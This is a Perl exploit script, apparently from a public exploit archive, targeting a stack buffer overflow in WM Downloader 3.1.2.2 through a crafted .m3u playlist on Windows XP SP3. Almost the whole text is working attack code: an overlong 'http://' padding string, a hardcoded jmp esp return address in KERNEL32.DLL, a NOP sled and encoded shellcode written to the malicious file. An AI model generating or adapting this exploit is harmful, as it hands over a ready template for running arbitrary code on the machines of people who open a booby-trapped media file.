WM Downloader 3.1.2.2.2010.04.15 Buffer Overflow

`#!/usr/bin/perl  
#Title : WM Downloader Version 3.1.2.2.2010.04.15 (.m3u) Buffer Overflow Exploit  
#Author : KaHPeSeSe  
#Download : http://mini-stream.net/downloads/WMDownloader.exe  
#Tested : PERFECT XP PC1 / SP3  
#Date : 14/03/2012  
  
my $dosya = "calc.m3u";  
my $off = "http://"."\x41" x 17417;  
my $ret = pack('V', 0x7C86467B); #0x7C86467B findjmp KERNEL32.DLL esp - jmp esp  
my $poff = "\x90" x 12;  
my $shell =  
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .  
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .  
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .  
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .  
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .  
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .  
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .  
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .  
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .  
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .  
"\x7f\xe8\x7b\xca";  
  
open($FILE, ">$dosya");  
print($FILE $off.$ret.$poff.$shell);  
close($FILE);  
print("okk");  
`